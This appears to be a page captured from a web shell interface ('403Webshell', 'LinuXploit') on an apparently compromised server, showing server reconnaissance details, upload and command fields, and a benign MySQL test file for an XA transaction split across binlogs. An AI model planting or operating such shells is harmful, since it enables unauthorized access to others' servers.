403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.170.34
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/binlog/t/binlog_xa_trx_split_across_binlog.test
###############################################################################
# This test script is to check the behaviour of applying XA transaction from
# a binlog dump if the XA transaction split across binary logs.
#
# Steps to reproduce:
# 1) Reset the master and set max_binlog_size to a smaller value 4KB.
# 2) Start a XA transaction which is more than max_binlog_size (4KB).
# 3) Prepare the XA trx.
#    (trx content will be written to master-bin.000001 and the binlog
#      will be rotated because of the size limit).
# 4) Commit the XA trx (commit will be written to binlog2).
# 5) Save the binlog dump for the reapply purpose.
# 6) Cleanup the server and make it ready to apply the binlog dump.
# 7) Apply the binlog dump.
# 8) Verify that the old data is restorted properly without any issues.
# 9) Cleanup.
###############################################################################

--source include/have_binlog_format_row.inc
--let $MYSQLD_DATADIR= `select @@datadir`

--echo #
--echo # 1) Reset the master and set max_binlog_size to a smaller value 4KB.
--echo #
SET @save_max_binlog_size=@@global.max_binlog_size;
SET GLOBAL max_binlog_size=4096;
RESET MASTER;

--echo #
--echo # 2) Start a XA transaction which is more than max_binlog_size (4KB).
--echo #
CREATE TABLE t1(i varchar(4096));
XA START 'xa1';
INSERT INTO t1 VALUES (REPEAT('a', 4096));
XA END 'xa1';

--echo #
--echo # 3) Prepare the XA trx.
--echo #    (trx content will be written to master-bin.000001 and the binlog
--echo #     will be rotated because of the size limit).
XA PREPARE 'xa1';

--echo #
--echo # 4) Commit the XA trx (commit will be written to master-bin.000002).
--echo #
XA COMMIT 'xa1';

--echo #
--echo # 5) Save the binlog dump for the reapply purpose.
--echo #
--exec $MYSQL_BINLOG --force-if-open $MYSQLD_DATADIR/master-bin.000001 > $MYSQLTEST_VARDIR/tmp/xa_trx_part1.sql
--exec $MYSQL_BINLOG --force-if-open $MYSQLD_DATADIR/master-bin.000002 > $MYSQLTEST_VARDIR/tmp/xa_trx_part2.sql

--echo #
--echo # 6) Cleanup the server and make it ready to apply the binlog dump.
--echo #
RENAME TABLE t1 TO t2;
RESET MASTER;

--echo #
--echo # 7) Apply the binlog dump.
--echo #
--exec $MYSQL < $MYSQLTEST_VARDIR/tmp/xa_trx_part1.sql
--exec $MYSQL < $MYSQLTEST_VARDIR/tmp/xa_trx_part2.sql

--echo #
--echo # 8) Verify that the old data is restorted properly without any issues.
--echo #
--let $diff_tables=default:t1, default:t2
--source include/diff_tables.inc

--echo #
--echo # 9) Cleanup
--echo #
DROP TABLE t1,t2;
SET GLOBAL max_binlog_size=@save_max_binlog_size;

Youez - 2016 - github.com/yon3zu
LinuXploit